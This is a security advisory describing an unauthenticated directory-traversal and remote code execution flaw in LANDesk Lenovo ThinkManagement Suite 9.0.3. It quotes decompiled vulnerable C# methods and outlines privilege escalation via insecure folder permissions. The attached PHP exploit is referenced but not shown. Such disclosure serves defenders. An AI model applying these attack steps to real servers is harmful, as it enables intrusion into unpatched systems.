LANDesk Lenovo ThinkManagement Suite 9.0.3 Core Server AMTConfig.Business.dll 
RunAMTCommand Remote Code Execution Vulnerability

Tested against: Microsoft Windows Server 2003 r2 sp2

Software home page: http://www.landesk.com/lenovo/thinkmanagement-console.aspx

Download url: http://www.landesk.com/downloads/lenovo/50.aspx

Files tested: 
ThinkManagement9.0.2.exe
LD90-SP2-MCP_CONS-2011-0428.exe
LD90-SP2-MCP_SD-2011-0428.exe
ThinkManagementConsole9.0.3_b28.zip

Instrunctions were to install 9.0.2, then apply two patches, finally to install 9.0.3

Background:
The mentioned product creates various virtual directories on IIS.
Among them the 'core.anonymous' one inside the 'landesk' tree.
Without prior authentication / authorization is possible to 
invoke the 'ServerSetup.asmx' web service which exposes various
functions inside the underlying dlls.

Vulnerability:
By specifying the 'RunAMTCommand' operation is possible to 
create arbitrary files inside public virtual directories.
This operation supports five arguments: when the 'Command'
argument is set ex. to '-PutUpdateFileCore', 
'Data2' and 'Data3' are used for file creation.
The first one suffers of a directory traversal vulnerability.
You are in control of the path, extension and content
of the newly created file.
Then you can execute arbitrary code by invoking this file.

Vulnerable code:

C:Program FilesLANDeskManagementSuiteLANDeskManagementSuiteCorecore.anonymousServerSetup.asmx

...
<%@ WebService Language="c#" Codebehind="ServerSetup.asmx.cs" Class="ServerSetup.ServerSetup" %>
...

Now look RunAMTCommand() inside ServerSetup.dll :

...
[WebMethod]
public int RunAMTCommand(string Command, string Data1, string Data2, string Data3, ref string ReturnString)
{
    return Convert.ToInt32(Business.RunAMTCommand(Command, Data1, Data2, Data3, ref ReturnString));
}
...
 
Again, look RunAMTCommand() inside ServerSetup.Business.dll :

...
public static int RunAMTCommand(string Command, string Data1, string Data2, string Data3, ref string ReturnString)
{
    SSLog.Log("RunAMTCommand()", new object[0]);
    SSResult sSFailure = SSResult.SSFailure;
    try
    {
        int num = new DBAccessBusiness().AvProBusinessInterface(Command, Data1, Data2, Data3, ref ReturnString); //<-------------
        if (num == 0)
        {
            sSFailure = SSResult.SSOK;
        }
        else
        {
            SSLog.Log("ConfigureAMT - RunAMTCommand returned " + num.ToString(), new object[0]);
            sSFailure = SSResult.SSAMTConfigFailure;
        }
    }
    catch (Exception exception)
    {
        SSLog.Log("ConfigureAMT exception: " + exception.Message, new object[0]);
        sSFailure = SSResult.SSException;
    }
    SSLog.Log("ConfigureAMT returned " + Convert.ToInt32(sSFailure).ToString(), new object[0]);
    return Convert.ToInt32(sSFailure);
}
...
 

Finally AvProBusinessInterface() inside AMTConfig.Business.dll :

*Various attacks* can be performed according to the command specified.

I'm choosing -PutUpdateFileCore because it is easier to verify.


As attachment, proof of concept code, written in php which executes arbitrary code
with NETWORK SERVICE privilege.

It could be possible also to execute arbitrary code with SYSTEM privileges
because to the ManagementSuite folder were given unsecure permission, see, from the command line:

Full privileges were given to the subfolders and files to the ASPNET user, so an attacker may
replace binary and dlls. At the next computer startup the ThinkManagement services
will load the malicious code. At the time of this report, a second exploit is in stage of development.
